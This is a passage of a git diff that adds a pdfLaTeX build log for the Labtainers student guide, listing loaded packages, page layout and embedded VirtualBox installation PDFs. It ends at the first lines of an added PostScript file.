LaTeX ifthen package (DPC) +) +(/usr/share/texlive/texmf-dist/tex/latex/tools/calc.sty +Package: calc 2014/10/28 v4.3 Infix arithmetic (KKT,FJ) +\calc@Acount=\count101 +\calc@Bcount=\count102 +\calc@Adimen=\dimen115 +\calc@Bdimen=\dimen116 +\calc@Askip=\skip44 +\calc@Bskip=\skip45 +LaTeX Info: Redefining \setlength on input line 80. +LaTeX Info: Redefining \addtolength on input line 81. +\calc@Ccount=\count103 +\calc@Cskip=\skip46 +) +(/usr/share/texlive/texmf-dist/tex/latex/eso-pic/eso-pic.sty +Package: eso-pic 2015/07/21 v2.0g eso-pic (RN) + +(/usr/share/texlive/texmf-dist/tex/latex/xcolor/xcolor.sty +Package: xcolor 2007/01/21 v2.11 LaTeX color extensions (UK) + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/color.cfg +File: color.cfg 2007/01/18 v1.5 color configuration of teTeX/TeXLive +) +Package xcolor Info: Driver file: pdftex.def on input line 225. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX +\Gread@gobject=\count104 +) +Package xcolor Info: Model `cmy' substituted by `cmy0' on input line 1337. +Package xcolor Info: Model `hsb' substituted by `rgb' on input line 1341. +Package xcolor Info: Model `RGB' extended on input line 1353. +Package xcolor Info: Model `HTML' substituted by `rgb' on input line 1355. +Package xcolor Info: Model `Hsb' substituted by `hsb' on input line 1356. +Package xcolor Info: Model `tHsb' substituted by `hsb' on input line 1357. +Package xcolor Info: Model `HSB' substituted by `hsb' on input line 1358. +Package xcolor Info: Model `Gray' substituted by `gray' on input line 1359. +Package xcolor Info: Model `wave' substituted by `hsb' on input line 1360. +)) +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty +Package: graphicx 2014/10/28 v1.0g Enhanced LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty +Package: graphics 2016/01/03 v1.0q Standard LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty +Package: trig 2016/01/03 v1.10 sin cos tan (DPC) +) +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg +File: graphics.cfg 2010/04/23 v1.9 graphics configuration of TeX Live +) +Package graphics Info: Driver file: pdftex.def on input line 95. +) +\Gin@req@height=\dimen117 +\Gin@req@width=\dimen118 +) +\AM@pagewidth=\dimen119 +\AM@pageheight=\dimen120 + +(/usr/share/texlive/texmf-dist/tex/latex/pdfpages/pppdftex.def +File: pppdftex.def 2015/09/18 v0.5d Pdfpages driver for pdfTeX (AM) +) +\AM@pagebox=\box26 +\AM@toc@title=\toks16 +\c@AM@survey=\count105 +\AM@templatesizebox=\box27 +) +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.sty +Package: csquotes 2016/01/31 v5.1g context-sensitive quotations (JAW) + +(/usr/share/texlive/texmf-dist/tex/latex/etoolbox/etoolbox.sty +Package: etoolbox 2015/08/02 v2.2a e-TeX tools for LaTeX (JAW) +\etb@tempcnta=\count106 +) +\csq@reset=\count107 +\csq@gtype=\count108 +\csq@glevel=\count109 +\csq@qlevel=\count110 +\csq@maxlvl=\count111 +\csq@tshold=\count112 +\csq@ltx@everypar=\toks17 + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.def +File: csquotes.def 2016/01/31 v5.1g csquotes generic definitions (JAW) +) +Package csquotes Info: Trying to load configuration file 'csquotes.cfg'... +Package csquotes Info: ... configuration file loaded successfully. + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.cfg +File: csquotes.cfg +) +Package csquotes Info: Enabling multilingual quotes. +Package csquotes Info: Redefining alias 'english' -> 'english/american'. +) +Package csquotes Info: Checking for multilingual support... +Package csquotes Info: ... none found. + + +Package csquotes Warning: No multilingual support. +(csquotes) Cannot enable multilingual quotes on input line 19. + +(./labtainer-student.aux) +\openout1 = `labtainer-student.aux'. + +LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 19. +LaTeX Font Info: ... okay on input line 19. +LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 19. +LaTeX Font Info: ... okay on input line 19. +LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 19. +LaTeX Font Info: ... okay on input line 19. +LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 19. +LaTeX Font Info: ... okay on input line 19. +LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 19. +LaTeX Font Info: ... okay on input line 19. +LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 19. +LaTeX Font Info: ... okay on input line 19. +LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 19. +LaTeX Font Info: ... okay on input line 19. + +*geometry* driver: auto-detecting +*geometry* detected driver: pdftex +*geometry* verbose mode - [ preamble ] result: +* driver: pdftex +* paper: a4paper +* layout: +* layoutoffset:(h,v)=(0.0pt,0.0pt) +* modes: +* h-part:(L,W,R)=(56.9055pt, 483.69684pt, 56.90553pt) +* v-part:(T,H,B)=(28.45274pt, 731.23582pt, 85.35828pt) +* \paperwidth=597.50787pt +* \paperheight=845.04684pt +* \textwidth=483.69684pt +* \textheight=731.23582pt +* \oddsidemargin=-15.36449pt +* \evensidemargin=-15.36449pt +* \topmargin=-80.81725pt +* \headheight=12.0pt +* \headsep=25.0pt +* \topskip=12.0pt +* \footskip=30.0pt +* \marginparwidth=44.0pt +* \marginparsep=10.0pt +* \columnsep=10.0pt +* \skip\footins=10.8pt plus 4.0pt minus 2.0pt +* \hoffset=0.0pt +* \voffset=0.0pt +* \mag=1000 +* \@twocolumnfalse +* \@twosidefalse +* \@mparswitchfalse +* \@reversemarginfalse +* (1in=72.27pt=25.4mm, 1cm=28.453pt) + +\AtBeginShipoutBox=\box28 +Package hyperref Info: Link coloring ON on input line 19. +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty +Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty +Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) +) +\c@section@level=\count113 +) +LaTeX Info: Redefining \ref on input line 19. +LaTeX Info: Redefining \pageref on input line 19. +LaTeX Info: Redefining \nameref on input line 19. + +(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii +[Loading MPS to PDF converter (version 2006.09.02).] +\scratchcounter=\count114 +\scratchdimen=\dimen121 +\scratchbox=\box29 +\nofMPsegments=\count115 +\nofMParguments=\count116 +\everyMPshowfont=\toks18 +\MPscratchCnt=\count117 +\MPscratchDim=\dimen122 +\MPnumerator=\count118 +\makeMPintoPDFobject=\count119 +\everyMPtoPDFconversion=\toks19 +) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty +Package: epstopdf-base 2010/02/09 v2.5 Base part for package epstopdf + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty +Package: grfext 2010/08/19 v1.1 Manage graphics extensions (HO) +) +Package grfext Info: Graphics extension search list: +(grfext) [.png,.pdf,.jpg,.mps,.jpeg,.jbig2,.jb2,.PNG,.PDF,.JPG,.JPE +G,.JBIG2,.JB2,.eps] +(grfext) \AppendGraphicsExtensions on input line 452. + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg +File: epstopdf-sys.cfg 2010/07/13 v1.3 Configuration of (r)epstopdf for TeX Liv +e +)) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/pdflscape.sty +Package: pdflscape 2008/08/11 v0.10 Display of landscape pages in PDF (HO) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/lscape.sty +Package: lscape 2000/10/22 v3.01 Landscape Pages (DPC) +) +Package pdflscape Info: Auto-detected driver: pdftex on input line 80. +) +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <14.4> on input line 22. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <7> on input line 22. + + +LaTeX Warning: No \author given. + +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <12> on input line 28. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <8> on input line 28. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <6> on input line 28. +[1 + +{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}] [2] [3] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf used on input line 207. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf used on input line 207. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. + + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page1 used on input line 20 +7. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page1 used on input line 20 +7. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [4] +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page1 used on input line 20 +7. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page1 used on input line 20 +7. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page1 used on input line 20 +7. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [5 <./InstallingVB-LinuxMac.pdf>] +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf used on input line 208. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf used on input line 208. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. + + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page2 used on input line 20 +8. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page2 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page2 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page2 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page2 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [6 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page3 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page3 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page3 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [7 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page4 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page4 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page4 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [8 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page5 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page5 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page5 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [9 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page6 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page6 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page6 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [10 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page7 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page7 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page7 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [11 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page8 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page8 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page8 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [12 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page9 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page9 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxMac.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxMac.pdf, page9 used on input line 20 +8. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [13 <./InstallingVB-LinuxMac.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf used on input line 211. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf used on input line 211. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. + + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page1 used on input line 21 +1. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page1 used on input line 21 +1. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page1 used on input line 21 +1. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page1 used on input line 21 +1. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page1 used on input line 21 +1. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [14 <./InstallingVB-LinuxWin.pdf>] +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf used on input line 212. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf used on input line 212. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. + + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page2 used on input line 21 +2. +(pdftex.def) Requested size: 614.29349pt x 794.96806pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page2 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page2 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page2 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page2 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [15 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page3 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page3 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page3 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [16 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page4 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page4 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page4 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [17 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page5 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page5 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page5 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [18 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page6 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page6 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page6 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [19 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page7 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page7 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page7 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [20 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page8 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page8 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page8 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [21 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page9 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page9 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page9 used on input line 21 +2. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [22 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page10 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page10 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page10 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [23 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page11 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page11 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page11 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [24 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page12 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page12 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page12 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [25 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page13 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page13 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page13 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [26 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page14 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page14 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page14 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [27 <./InstallingVB-LinuxWin.pdf>] + +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page15 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page15 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. +File: InstallingVB-LinuxWin.pdf Graphic file (type pdf) + + +Package pdftex.def Info: InstallingVB-LinuxWin.pdf, page15 used on input line 2 +12. +(pdftex.def) Requested size: 614.58406pt x 795.3441pt. + [28 <./InstallingVB-LinuxWin.pdf>] +LaTeX Font Info: Try loading font information for OMS+cmr on input line 222. + + +(/usr/share/texlive/texmf-dist/tex/latex/base/omscmr.fd +File: omscmr.fd 2014/09/29 v2.5h Standard LaTeX font definitions +) +LaTeX Font Info: Font shape `OMS/cmr/m/n' in size <12> not available +(Font) Font shape `OMS/cmsy/m/n' tried instead on input line 222. +Package atveryend Info: Empty hook `BeforeClearDocument' on input line 239. + [3] +Package atveryend Info: Empty hook `AfterLastShipout' on input line 239. + +(./labtainer-student.aux) +Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 239. +Package atveryend Info: Empty hook `AtEndAfterFileList' on input line 239. +Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 239. + ) +Here is how much of TeX's memory you used: + 7883 strings out of 494953 + 117496 string characters out of 6180977 + 221696 words of memory out of 5000000 + 11060 multiletter control sequences out of 15000+600000 + 9324 words of font info for 33 fonts, out of 8000000 for 9000 + 14 hyphenation exceptions out of 8191 + 40i,18n,46p,934b,507s stack positions out of 5000i,500n,10000p,200000b,80000s + +Output written on labtainer-student.pdf (29 pages, 3988868 bytes). +PDF statistics: + 679 PDF objects out of 1000 (max. 8388607) + 369 compressed objects within 4 object streams + 41 named destinations out of 1000 (max. 500000) + 251 words of extra memory for PDF output out of 10000 (max. 10000000) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.out.ps b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.out.ps new file mode 100644 index 000000000..7dce5db93 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.out.ps @@ -0,0 +1,46 @@ +%! +/pdfmark where{pop} 